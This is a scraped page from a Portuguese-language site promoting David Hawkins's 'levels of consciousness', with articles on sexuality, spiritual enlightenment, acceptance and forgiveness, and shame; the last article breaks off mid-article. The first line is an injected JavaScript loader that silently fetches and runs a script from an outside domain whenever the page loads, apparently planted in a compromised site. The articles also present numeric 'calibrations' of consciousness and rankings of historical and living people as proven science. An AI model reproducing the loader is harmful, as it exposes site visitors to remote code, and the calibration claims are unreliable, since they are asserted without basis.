;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de aceitação - David Hawkins Brasil
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Sexualidade: desde quando isso é coisa de Deus? (Parte 1)

Nesse artigo, inspirado no capítulo 6, do livro “Cura e Recuperação”, vamos observar que a sexualidade depende de como a enxergamos. O sexo em si é neutro. Nós é que damos o valor a ele e o contextualizamos na nossa vida de acordo com a nossa maneira de ver o mundo. 

Nessa primeira parte do artigo, vamos mostrar aqui algumas visões mais comuns sobre o sexo: desejo, orgulho, aceitação e amor. Já na segunda parte, vamos desmistificar de uma vez por todas a ideia de que o sexo é algo animalesco e pecaminoso que nos distancia de Deus. Além disso, vamos ensinar algumas práticas para quebrar os padrões indesejados e ampliar nossa consciência sobre o assunto. 

Nossa experiência sexual está na consciência

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

“Um pensamento não experiencia sua qualidade “pensar”; um sentimento não experiencia sua qualidade “sentir”. Algo maior que a mente deve estar presente, algo que é imutável em si mesmo. A razão pela qual sabemos o que está se passando na mente é por causa da consciência, que é um campo muito maior do que a mente. A mente nos diz o que se passa nas emoções, pensamentos e sensações. As sensações nos dizem o que está se passando no corpo.” – Dr. David Hawkins, “Cura e Recuperação”

Esse trecho acima nos permite observar que todas as experiências, na verdade, acontecem na consciência e ao compreender isso, temos o poder de escolha entre quais experiências queremos para nós. É verdade que não podemos escolher o que vai acontecer conosco, mas podemos escolher como vamos lidar com o que acontece conosco.

Podemos escolher o nível de consciência da experiência

Durante o sexo, a experiência também ocorre na consciência, assim, temos poder de escolha do que vamos vivenciar. Mesmo que haja traumas e experiências anteriores que foram densas, ainda há o poder de escolha de como lidar com isso e o que escolher vivenciar no momento presente.

O sexo no nível de consciência do Desejo

Esse é uma visão muito usual do sexo. Há uma visão de que o sexo é algo separado de nós e que precisa ser conquistado. É assim o campo de consciência de brincar com jogos de desejo, manipulações, fantasias, posições e moedas de troca. 

Aqui estão a maior parte dos filmes com aquela paixão avassaladora do “preciso de você”, “te desejo” e até das propagandas de publicidade que querem atrelar seus produtos com o sucesso em conquistar aquilo que resulta em sexo. 

O sexo aqui é de baixa qualidade e muito baseado na fisicalidade gerando um prazer limitado, que só envolve as áreas genitais. Assim, dispara diversos sentimentos negativos que se correlacionam de maneira em que um tende a puxar o outro. 

“Manter a sexualidade do nível físico do Desejo (nível de calibragem 125) e dividindo-a entre padrões de macho e fêmea, cria um sentimento de separação. Dessa separação surge o desejo; do desejo surge a frustração; da frustração surge raiva e ressentimento; e de tudo isso surge medo, tristeza e apatia. Como resultado, as pessoas são tendenciosas a sentir culpa com relação a sexualidade; alguns são também limitados pela apatia, desesperança e ausência de desejo; outros associam sexualidade com tristeza; e alguns tem medo.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência do Orgulho

No nível do orgulho, a pessoa se sente tão superior, tão mais evoluída que os outros que nem precisa dessas coisas que considera “animalescas” na sua vida.

“Há também o orgulho sobre a moralidade sexual, que é vista com desprezo, negação ou conflito religioso. Pessoas orgulhosas normalmente mantêm a sexualidade de uma visão desdenhosa de “nariz empinado” e veem qualquer pessoa que se satisfaz nesse tipo de atividade como degradadas por sua natureza animal inferior. Presumem que todos são controlados pela energia como eles são. Pessoas que mantêm desprezo pela sexualidade estão projetando sua própria maneira de lidar com o assunto nos outros e dizem “Eles não são carnais? Não são animais?”.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência da Aceitação 

No nível de aceitação a pessoa é livre das manipulações, de não conseguir controlar os impulsos sexuais ou de ter que sair correndo para comprar aquilo que está na propaganda. A mesma disposição que trouxe a pessoa até aqui começa a movê-la em direção ao amor. 

Esse é um estado de aceitação dos fatos da vida, de quem somos, da nossa humanidade e dos nossos impulsos animais. Começamos a nos sentirmos adequados e confiantes por observar que nossas questões são respondidas pela própria vida.

“Por que a religião e a moral focam nesse tipo de campo de energia e por que é chamado de “carnal”? A sexualidade de baixa energia é mantida em mente em um ponto de vista inferior e, assim, todo o assunto da moralidade na sexualidade foca naquilo que é carnal. A carnalidade surge de olharmos de maneira pejorativa para nossa natureza animal em vez de aceitá-la, ficar feliz com ela, ser grato por ela e dizer que é intrinsecamente linda quando não é julgada ou mantida em mente de uma maneira degradante.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo a partir do nível de consciência do Amor

Nesse nível de consciência a pessoa compreende que não existe “fazer” sexo, e sem o fazer some a necessidade de performance, de frequência, de moeda de troca e tudo de negatividade que surge em torno disso. 

A pessoa aqui se torna uma com o momento em que a experiência sexual ocorre e se permite experienciar esse ato onde ele ocorre, na consciência. A experiência não fica restrita as áreas genitais e é sentida em todo o corpo e além. Não há medo em ser um com o outro.

“Em vez de experiência física localizada, existe sentimentos bem diferentes de expansividade e unidade que surgem por estar com a energia da outra pessoa. Talvez um segundo antes, não haveria qualquer pensamento de sexo na cabeça de ambos. O casal está esperando a torrada pular da tostadeira. Então existe um acolher que é feito nesse espaço que é claro. Em outras palavras, os parceiros largaram qualquer reticência, ressentimento ou coisa que estava impedindo que ficassem juntos.

Do próprio acolher, surge o desejo que é agora de uma natureza totalmente diferente. É o desejo de estar com e experienciar essa pessoa e sua energia. A espontaneidade do assunto não nasce do desejo, mas do espaço de vitalidade essencial e da energia de estar com a outra pessoa. É uma experiência difusa e geral e existe alegria e gratidão por experienciar pela oportunidade de estar com essa energia. A grande alegria e prazer disso trazem senso de integridade de tudo.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

A segunda parte desse artigo contém algumas práticas para sair do sexo de baixa qualidade para o sexo de alta qualidade, além de uma reflexão do posicionamento de Deus diante de tudo isso. 

Leia direto da fonte: livro “Cura e Recuperação”

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Como resultado, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

 Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Como despertar a Iluminação Espiritual – com Base em Dr. David R. Hawkins

Iluminação Espiritual é observação, aceitação e amor incondicional constantes no momento Presente, sem cair nas seduções das consciências negativas.

Iluminação Espiritual não é algo a ser alcançado, um estado que se chega, uma recompensa. É simplesmente Tornar-se a cada instante pura observação e testemunha.

É o filtro constante daquilo que não é de Deus, que é do ego.

O estado de Iluminação é deixar de lado a cada instante as recompensas de prazeres sensoriais de curto prazo danosas e egoístas para atender o que se pede pela Vontade Divina.

Crenças sobre a iluminação

E o ser iluminado, é alguém recluso?

Não, Ser Iluminado não significa que este ser não realize mais ações do cotidiano, como assistir um filme ou um vídeo, navegar na internet ou acessar as redes sociais.

A utopia de seres iluminados precisarem se retirar do convívio social para viver em mosteiros ou monastérios e usar vestes específicas já foi algo desmistificado por Buda há 2.500 anos.

Mas mesmo assim adoramos nos envolver em histórias de ficção espiritual e acreditar que a Iluminação Espiritual está longe, que temos que nos esforçar para a alcançar em algum lugar no futuro ou seguir determinado tipo de ritual e vestes específicas.

O que é a Iluminação Espiritual?

Iluminação Espiritual é justamente o contrário disso tudo.

É a constante troca de esforço por entrega.

Entrega e rendição contínua ao Divino, a algo maior, ao estado Búdico ou à consciência Crística, tanto faz, pois todos são uma e a mesma coisa.

Iluminação Espiritual é Presença.

Presença não é ausência de pensamento, mas o desapego dos fenômenos mentais como:

  • sensações,
  • pensamentos,
  • ideias,
  • opiniões,
  • julgamentalismos,
  • emoções
  • e todas as outras distrações advindas da mente e do ego.

Iluminação é o estado de não acreditar na mente.

Desconstruir a crença de que somos a nossa mente ou nosso corpo físico.

A crença de que somos o que pensamos e de que nossos pontos de vistas e posicionamentos quanto ao mundo devem ser defendidos.

Iluminação Espiritual é humildade de não-saber.

Aquele que acredita-que-sabe incorre em:

  • presunção,
  • ceticismo,
  • soberba,
  • orgulho ou
  • arrogância

E, quando esse nível de consciência negativo ocorre, somos levados à:

  • raiva,
  • indignação,
  • cinismo,
  • inveja,
  • ciúme,
  • irritação,
  • entre outros tantos sentimentos destrutivos.

Aquele que presume com julgamentos não pode ser humilde.

O Ser humilde sabe experiencialmente, mas está aberto a desapegar de uma crença menor por uma Verdade maior, sabendo que a consciência está em eterna busca por evolução.

Se não há a abertura em abrir mão de um saber menor por um maior, não há evolução.

Há estagnação ou involução. Sofrimento.

Iluminação Espiritual é aceitar o que É a cada momento.

  • Observar sem julgar
  • Discernir se deve ou não intervir
  • É agraciar tanto a ação quanto a inação.
  • É cortar a cada momento que nasce um pensamento, o seu envolvimento e apego a ele. Observá-lo.
  • Deixar de acreditar que está certo e que o outro está errado a cada instante: agora, e agora, e agora de novo e agora de novo, e mais uma vez, e de novo, e de novo.

Um trabalho constante. Nesta tabela abaixo é possível compreender melhor a diferencia entre julgamento e observação:

Iluminação Espiritual não é complexidade. É simplicidade. Muita simplicidade.

É inocência pura. “Vinde a mim as crianças e não as impeça, pois o reino dos Céus são daqueles semelhantes a elas” de Jesus Cristo.

É um estado de ser criança e idoso (Lao-Tsé). A ingenuidade infantil com o discernimento maduro. Ambos juntos.

O discernimento é o saber experiencial de que não sabemos de nada.

Se acharmos que sabemos, estamos fechados a aprender o novo.

E sem aprendizado não há evolução.

A ingenuidade, por sua vez, é o estado de confiar plenamente em que: o que está acontecendo agora é o melhor para a evolução do Ser e devo me ater apenas a aprender com cada momento.

Tanto discernimento quanto humildade são imprescindíveis para o aprendizado.

Por isso, ambos, por mais que pareçam divergentes e juntos pareçam paradoxais, são uma e a mesma coisa.

Iluminação Espiritual é o constante desapego do menor pelo Maior.

É o alinhamento pleno e contínuo com a vontade Divina. Mesmo que a Vontade Divina daquele momento seja não fazer nada, ou assistir Netflix, ou conversar com um familiar.

Tudo é como É, e isto deve ser profundamente aceito.

Pois se tivesse que ser diferente, seria!

Sendo o que somos

Para ser iluminado, primeiro deve-se quebrar a crença de que devemos ser diferentes do que somos, pois quem quer ser diferente, por comparação, é o ego.

O ego que busca algo fora e no futuro.

Iluminação é o estado de autoaceitação e aceitação com ausência de:

  • querer,
  • desejar,
  • julgar.

É a troca da condenação pela compreensão que se torna compaixão.

Por si mesmo, pelos outros, por todos os seres encarnados e desencarnados que possuem uma vida física ou não física.

Compreendendo os níveis de consciência

Dr. David R. Hawkins dedicou a sua vida a curar pessoas: física, mental e espiritualmente e a realizar trabalhos altruístas por todo o mundo, atendendo clinicamente, palestrando e escrevendo livros os quais inspiram as pessoas no caminho da autocura e da Iluminação Espiritual.

Seu primeiro livro, Poder vs. Força (best-seller traduzido para o português pela Pandora Treinamentos), foi embasado em sua tese de PhD, a qual revolucionou a compreensão da ciência através da comprovação dos níveis de consciência e da identificação da interconexão de tudo o que existe, existiu e virá a existir.

Dr. David R. Hawkins foi médico e PhD em psiquiatria, além de professor espiritual, e possui vasta experiência. Abaixo podemos ver algumas de suas qualificações e experiências:

  • Psiquiatra clínico por mais de 50 anos;
  • Escreveu livro vanguardista sobre Psiquiatria Molecular com o químico ganhador do Prêmio Nobel Linus Pauling;
  • Entrou para o hall da fama da medicina ortomolecular;
  • Criador do Mapa de Consciência;
  • Palestrou em Oxford, Harvard, Westminster Abbey, Universidade de Notre Dame, Michigan, Universidade da Califórnia entre muitas outras;
  • Consultor diplomático entre países com conflito político;
  • Foi consultor em monastérios católicos, protestantes e budistas atestando a veracidade de estados avançados de consciência (estágios de Iluminação Espiritual) em monges e retirantes;
  • Recebeu o título na Korea de “Rae Ryeong Seon Kak Tosa” – “antes de tudo, professor no caminho da iluminação”;
  • Cavaleiro da Ordem Soberana dos Hospitaleiros de São João de Jerusalém, fundada em 1077;
  • Dezenas de outros prêmio e honras podem ser vistos na lista completa em: https://davidhawkins.com.br/david-hawkins/biografia-dr-david-hawkins/

Uma sequência de artigos

A sequência de artigos que vimos até aqui e que constam no final dessa página aprofunda cada nível de consciência descrito pelo Dr. David R. Hawkins cuja tabela desses níveis encontra-se em seus livros.

Cada nível de consciência, em ordem crescente, tem poder de influência e propensão a mudança absurdamente maior do que o nível anterior, já que esta categorização de 0 a 1.000 representa analogamente uma escala logarítmica com base 10.

Ou seja, o nível de consciência 3 não é a soma de 2+1, mas sim o nível 2 elevado à décima potência, como um comparativo simples de entender.

Para quem tiver interesse em se aprofundar no entendimento sobre a checagem dos níveis de consciência, indico a leitura do livro Power vs Force que pode ser encontrado na loja da Pandora Treinamentos, tradutora oficial dos livros do Dr. Hawkins para o português.

Os estágios de Salvação, Iluminação Espiritual e Nirvana

De acordo com Dr. David R. Hawkins, existem diversos estágios de iluminação, já que a consciência é constantemente evolucionária.

Os primeiros estágios em correlação às descrições de Buda, acontecem ainda nos níveis de consciência de Amor e Amor Incondicional.

O primeiro estágio – Sotapanna

O estágio de Sotapanna, no nível calibrável de gratidão em 510, é considerado aquele que entra no fluxo. 

Esse ser se livrou de três amarras que o mantém nas ilusões do mundo, do ego e da mente (Maya):

  • crença em si mesmo separado do Todo,
  • o apego a rituais e
  • o ceticismo sobre o Caminho a Deus (iluminação).

Este Ser vai renascer no máximo mais sete vezes para aprender o suficiente sobre a Iluminação Espiritual e abandonar Samsara, o ciclo contínuo e ininterrupto de nascimentos e mortes físicas.

Dentro do conceito cristão, a Salvação através de Jesus Cristo é equivalente ao nível de consciência de 540, ou Amor Incondicional.

Assim, quando nos libertamos do corpo físico por espontaneidade (e não por forçarmos), a própria consciência Crística se “encarrega” de nos levar à iluminação ou unificação em Deus, nos reinos celestes, sem a necessidade de reencarnar se assim quisermos e se for de Vontade Divina.

O segundo estágio – Sakadagami

O segundo estágio de iluminação budista, chamado Sakadagami, equivalente a 570 nos níveis de consciência, é considerado aquele que retorna apenas mais uma vez. 

Esse ser além das três amarras que já cortou enfraquece o laço com mais duas: desejos sensoriais e má intenção. Renascerá apenas mais uma vez para dissolver seus resíduos cármicos.

O terceiro estágio – Anagami

O terceiro estado de iluminação, ou Anagami, é equivalente ao nível calibrável de 600, ou chamado estado de Paz, descrito no artigo anterior desta série.

No ioga, este estado é denominado o primeiro estágio de Samadhi, ainda com resquícios de ego, denominado Savikalpa Samadhi, a compreensão da Existência e a comunhão com o Universo.

Este Ser é considerado aquele que não retorna, a não ser que seja de Vontade Divina para orientar a humanidade.

Este ser cortou os cinco primeiros laços mencionados de maneira permanente. Não renasce mais no domínio dos sentidos, renasce em um paraíso sem forma e se ilumina por lá.

Neste estágio, o Ser se torna o observador e a testemunha que intervém no mundo quando é Convocado.

Já não há mais a necessidade de fazer algo para alimentar seus prazeres pessoais, por mais que as preferências características daquela vida humana permaneçam, pois não há necessidade de serem alteradas ou deixadas de lado se forem de pura intenção, já que o estado é de plena aceitação.

Este nível é o nível de consciência de grandes mestres espirituais e santos como:

  • Lao-Tsé,
  • São Francisco de Assis,
  • S. N. Goenka,
  • Chico Xavier no final de sua vida quando já não lecionava mais, entre outros.

O salto para a autorrealização

Ainda neste terceiro estágio, o Dr. David R. Hawkins explica que há uma evolução com características diferenciadas para o nível de consciência de Autorrealização em 700.

A partir deste nível e adiante, encontramos os grandes profetas espirituais que dedicaram sua vida para salvar a humanidade e nos ensinar a base de todas as religiões clássicas as quais temos conhecimento como:

  • Cristianismo,
  • Islamismo,
  • Judaísmo,
  • Budismo,
  • Hinduísmo,
  • entre outras.

A Graça do Ser é descrita como inefável (indescritível, inominável, indivisível).

Neste nível de consciência, encontramos sábios como:

  • Maomé,
  • Mahatma Gandhi,
  • Madre Teresa de Calcutá,
  • Teresa de Ávila,
  • São Paulo de Tarso,
  • Patanjali,
  • Sri Nisargadatta Maharaj,
  • Sri Ramana Maharshi,
  • Mestre Dogen,
  • Adi Shankaracharya,
  • Mestre Eckhart (não confundir com Eckhart Tolle),
  • entre outros.

Hoje, temos o conhecimento de um Ser presente na Terra neste nível de consciência conhecido como Palden Dorje (quem se interessar pode verificar brevemente sua história no Wikipedia e assistir a este vídeo no YouTube).

“O merecedor” – Arhat

Após este estágio de grande plenitude, encontramos o tão comentado e requisitado por monges budistas, o estágio de Arhat, que significa ‘o merecedor’ ou ‘aquele que merece louvores Divinos’.

Calibrável ao nível 800, este ser cortou tanto as cinco amarras inferiores dos primeiros três primeiros estágios quanto as cinco amarras superiores sutis: desejo por existência com forma sutil (paraísos celestiais), desejo por existência nos reinos sem forma, conceitos, inquietação e ignorância. Nunca mais renasce. Atingiu e se mantém nos primeiros estágios de Nirvana ou Iluminação Plena. No ioga, este é o estágio de Nirvikalpa Samadhi, sem resquícios do ego.

Além deste nível de plenitude, existe ainda mais dois estágios possíveis de se alcançar na fisicalidade, mesmo que raros.

Este é o nível denominado Vazio e considerado por muitos o último estado de Iluminação ou Búdico, porém, de acordo com Dr. David R. Hawkins, ainda não é a Totalidade de Buda, ou da Consciência Crística.

Este estado é de tamanha Graça, que nada parece haver além dele, porém, de acordo com Hawkins, a interpretação do Vazio como estado Último é um erro de conceito sobre interpretações equivocadas das palavras de Buda.

Os sábios de Arhat

Os números de sábios nestes níveis são raros (50% do tempo sem um desses seres nos últimos 1.000 anos).

Seus ensinamentos são essencialmente os mesmos, embora surgidos em locais, tempos e culturas diferentes, alguns deles são:

  • Vedas,
  • Upanishads,
  • Baghavad Gita,
  • Canone Pali,
  • Novo Testamento,
  • Zohar, etc.

Os grandes mestres deste nível, e acima, e seus ensinamentos emanam campos extremamente poderosos de energia de alta frequência na consciência coletiva da humanidade.

A este nível de consciência encontramos profetas e sábios como:

  • Abraão,
  • Moisés,
  • João Batista,
  • Huang Po e
  • Os 12 apóstolos de Jesus.

Atualmente, temos conhecimento de apenas um Ser encarnado está neste nível de consciência denominado Venerável Pa-Auk Tawya Sayadaw (para mais informações pode-se visitar o site de seu monastério, localizado em Myanmar, ou assistir uma parte de seu vídeo legendado.

De acordo com o livro “Transcending the Levels of Consciousness“, do Dr. David R. Hawkins, o saber necessário para superar este nível é que o Amor Divino que também é não-linear e sem sujeito, objeto, forma ou condicionalidade.

O erro do Vazio é negar até mesmo o Amor Divino por confundir com o amor do estado humano egoico de posse.

O último estado de consciência do mundo físico

Como último estado de consciência possível de ser despertado no mundo físico, está o nível da Totalidade, que calibra em 1.000.

O último vestígio do ego coletivo desaparece no silêncio da Presença.

Este é o nível dos enviados Divinos, ou filhos de Deus, ou Avatares, onde encontramos:

  • Jesus Cristo,
  • Buda,
  • Krishna e
  • Zoroastro. 

A perfeição impressionante e beleza da Totalidade da Criação como Divindade irradia. 

Gloria in Excelsis Deo é o próprio Estado.

Todos estes níveis de consciência estão disponíveis para todos os seres humanos, em todos os tempos e todas as culturas.

O único pré-requisito é se dedicar, profundamente e constantemente, a buscar a Verdade e estabelecer um  compromisso em alinhar suas intenções com a Vontade Divina.

“O caminho é reto e os portões são estreitos. Não perca tempo”. 
Dr. David R. Hawkins; MD; PhD.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Aceitação: o Caminho do Perdão – com base em Dr. David Hawkins

A aceitação e o perdão são os alicerces da harmonia nos relacionamentos humanos. Aceitar o outro como ele é e realizar as mudanças em si é o início da sabedoria.

Aceitação é algo complexo em nossas vidas. Temos um péssimo hábito de enxergarmos os defeitos e problemas dos outros e comprarmos briga para mudá-los.

E na maior parte, não porque queremos o melhor para a outra pessoa, mas porque queremos provar a ela que estávamos certos ou porque as atitudes daquela pessoa nos incomoda.

E esquecemos que a base de um relacionamento saudável é o perdão.

A prova disso é nossa insistência em querer ver o outro mudando, mesmo que ele não queira ou veja necessidade, só porque as atitudes atuais dele são diferentes das nossas e nos traz incômodos ou angústias.

Querer impor ou insistir algo a alguém é violar o livre arbítrio da outra pessoa para favorecer nossas percepções e opiniões egóicas, o que é a contramão do que nós mesmos buscamos.

Todas as pessoas buscam reconhecimento e aceitação, o que não significa concordância, mas compreensão.

O nível de consciência de aceitação.

A pessoa que escolhe habitar neste nível de consciência, ou seja, a soma de suas intenções, pensamentos, falas e atitudes são, em sua maioria, coerentes com o princípio da aceitação, vivem em tranquilidade interna, que substitui as emoções perturbadoras e impulsivas.

Sentimos como se os eventos da vida estivessem fluindo constantemente.

Neste nível, entendemos que somos os responsáveis pelos eventos que se passam em nossa vida e que tudo que atraímos para nós é devido a nossos méritos e deméritos.

Conseguimos enxergar com mais clareza o ditado “a gente colhe o que planta”.

A partir desse estado do ser as percepções gerais mudam.

Há a percepção que a felicidade está dentro e não fora e nossa missão surge de nossa natureza interior, que parece espontânea e automática quando os bloqueios são removidos.

Trabalhos difíceis não trazem desânimo, mesmo que desconfortáveis. O julgamento diminui e o foco torna-se resolver o problema.

No âmbito dos relacionamentos emerge o perdão, e a pessoa neste nível de consciência usa esta ferramenta com cada vez mais sabedoria e intensidade:

  • Enxergamos as pessoas como fazendo o seu melhor dentro de suas limitações,
  • Em uma relação amorosa, pequenas imperfeições não são mais levadas tão a sério.

Há o desprendimento dos debates intermináveis do mundo sobre:

  • moralidade,
  • ética, judiciário,
  • política,
  • religião,
  • etnia e
  • posicionamentos sociais.

O erro é visto como necessidade de correção, aprendizado e compaixão ao invés de justificativa para punição.

Opiniões pessoais perdem sua tendência de dominar por pressão emocional pura e o discernimento sem emoção substitui julgamentalismo emocional. 

Entende-se que a sobrevivência não é garantida por ter medo ou odiar o relâmpago, mas por evitar seus locais prováveis de queda.

Como praticar a aceitação sem negligência?

Para aceitar não é necessário concordar e, tampouco, endossar um pensamento, opinião ou atitude.

Aceitar é trocar condenação por compreensão.

É se colocar no lugar do outro, inclusive em seu contexto histórico e atual, para saber que ele não poderia ser diferente. Afinal, se pudesse, ele já seria.

Aceitar também não significa passividade ou afastamento.

Tem ligação com o desapego. É possível ser firme e severo com outra pessoa, por saber que é o certo a se fazer naquele momento, mas sem criar expectativas ou esperar que a pessoa mude.

O desapego não é sobre a pessoa, mas sobre suas próprias expectativas e opiniões. Ser diferente, não significa estar errado ou certo, pois diversidade não se opõe à igualdade.

Outra confusão gerada, nesta mesma linha, é que aceitar é não intervir.

Na verdade, a aceitação surge da capacidade de entender o que pode e não pode ser mudado sem causar mal ao outro.

  • O que puder ser mudado, deve ser realizado com coragem e dedicação.
  • O que não pode ser mudado, devemos invocar a serenidade para aceitar como é e estarmos dispostos a agir assim que a permissão, da outra pessoa ou da situação, seja concedida.

Como reconhecer essas situações?

O maior desafio é ter discernimento para diferenciar as duas situações.

Para isso, podemos trabalhar um conceito prático contido no livro “Os 7 hábitos das pessoas altamente eficazes”, do filósofo e consultor Stephen R. Covey:

Diminuir nossa zona de preocupação e aumentar nossas atividades em nossa zona de influência. Preocupação vem de se pré-ocupar, ou seja, ocupar-se antecipadamente, fora do ritmo, em vão. Influência vem do latim INFLUERE que significa dentro (in) do fluxo (fluere).

Quando estamos no ritmo natural da vida, não precisamos nos esforçar ou forçar ninguém a nos acompanhar, simplesmente, vamos acompanhando cada momento e interagindo de maneira sábia.

Quando focamos em influenciar as pessoas, passamos de um ato de manipular ou ameaçar – mesmo que de forma sutil, indireta ou em tons de sarcasmo – para uma qualidade de convidar.

Convidar é um derivado do latim INVITARE que significa querer (vitare) juntos (in derivado de con), ou seja, buscar interagir com pessoas que queiram trilhar caminhos semelhantes aos seus e aceitar aqueles que pedirem para te acompanhar verdadeiramente.

E, qual a melhor forma de praticar a aceitação?

A melhor forma de praticar a aceitação é através do perdão.

Em minhas palestras na Pandora Treinamentos costumo indicar a Tríade do Perdão: um exercício de manter a imagem da situação que traz angústia, mágoas ou raiva em mente, sem ficar criando diálogos internos, e:

Pedir perdão às pessoas envolvidas

Pode ser uma pessoa diretamente afetada, assim como uma provocação ou descuido seu que tenha gerado uma ofensa, que foi o gatilho do desconforto ou até mesmo outras pessoas que tenham se prejudicado ou se magoado com a situação

Perdoar o outro

Tanto a pessoa que tenha te causado mal quanto à situação em si

Perdoar-se

Aceitar sua limitação daquele momento, perdoar por ter guardado rancor por tanto tempo, por não ter enxergado outras alternativas

Esta limpeza interna, se feita verdadeiramente e com intensidade, será seguida de um profundo alívio e paz interior.

Quanto mais exercermos essa prática em nosso dia a dia, com situações profundas ou corriqueiras, primeiramente de modo formal como apresentado acima, até que se torne fluído e natural, estaremos nos conectando com a consciência da aceitação e atraindo cada vez mais pessoas e situações de abundância em nossa vida.

Convido você a manter-se constantemente evoluindo e se conhecendo.

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Gratidão e boas práticas!

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00.Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho nos prejudica?

08. Coragem é a base para o sucesso.

09. A neutralidade nos ajuda a não sofrer.

10. Disposição pode nos levar a resultados inimagináveis.

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual

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Níveis de Consciência

Vergonha, é possível vencê-la? – com base em Dr. David Hawkins

A vergonha é um dos maiores bloqueios do ser humano para enfrentar problemas e se desenvolver

Essa emoção está tão presente em nosso dia a dia que muitas vezes nem a percebemos. Sentimos vergonha:

  • por um elogio,
  • em ter feito algo sem querer que saia dos padrões aceitáveis da sociedade (deixar comida cair, babar ao rir, arrotar entre a fala, etc),
  • vergonha por estar com uma espinha no rosto,
  • da nossa gordurinha localizada,
  • de nossa família,
  • de nós mesmos,
  • vergonha “alheia” (pelo que o outro fez),
  • vergonha de assumir nossas decisões,
  • de voltar atrás em uma decisão,
  • de nossos pensamentos bizarros que achamos que só nós temos,
  • vergonha de sentir vergonha.

Afinal, por que sentimos tanta vergonha?

Para entender isso, precisamos beber da fonte da vergonha, que é a resistência à Realidade. A vergonha é o medo de:

  • não ser aceito pelos outros,
  • errar,
  • se expor ao ridículo,
  • falhar,
  • decepcionar os outros,
  • não atender às expectativas dos outros ou de si.

Ou seja, são medos das projeções e cobranças sociais e culturais.

Historicamente, vergonha era acompanhada de banimento. Um pária da sociedade era banido de seu grupo ou bando e fadado a viver em isolamento como castigo por ser diferente.

Antigamente, os grupos de humanos eram mais restritos, mais desconfiados de estranhos e a violência era liberada por ausência de autoridades.

Por isso, ser banido era sinônimo de quase morte. Era apenas uma questão de tempo até ficar sem recursos ou ser atacado por um animal faminto ou um bárbaro.

Consequentemente, esse trauma ficou registrado no inconsciente da sociedade e, hoje, a vergonha continua como um dos sentimentos mais inaceitáveis que se pode ter.

É um sentimento que traz tanta ausência de energia que é considerado o mais próximo da morte pelo Dr. David R. Hawkins, Ph.D., M.D. americano, autor do livro best-seller Power vs Force.

Dr. Hawkins afirma que a vergonha é utilizada como uma ferramenta de crueldade na sociedade, através de acusações e projeções de culpa pelos atos de uma pessoa no passado.

Isso se manifesta através de afirmações como: “você não tem vergonha?”, “eu sinto vergonha de você”, “você deveria se envergonhar”, “você é uma vergonha para a sociedade”.

Qualquer atitude que saia dos padrões de crenças de uma pessoa é considerada inaceitável, condenável e, logo, digna de vergonha.

Para entender como vencer a vergonha é necessário primeiro entender alguns pontos:

1. Vergonha é atrelada às crenças

Todos os seres humanos possuem sistemas de crenças próprios ou coletivos. Esses sistemas não são a Realidade, mas pontos de vistas julgamentalistas e emocionais sobre ela.

São opiniões e posicionalidades diferentes e distantes do que realmente É ou Foi. São retratos da realidade extraídos de um ângulo que não considera e percebe os outros ângulos.

Como em uma Polaroid, a foto esmaece e perde sua nitidez. Dessa forma, qualquer vergonha não é a Realidade, mas uma mera percepção sobre ela e a vontade de controlar como a realidade “deveria ser” ou “deveria ter sido”.

2. Vergonha é resistência à Realidade

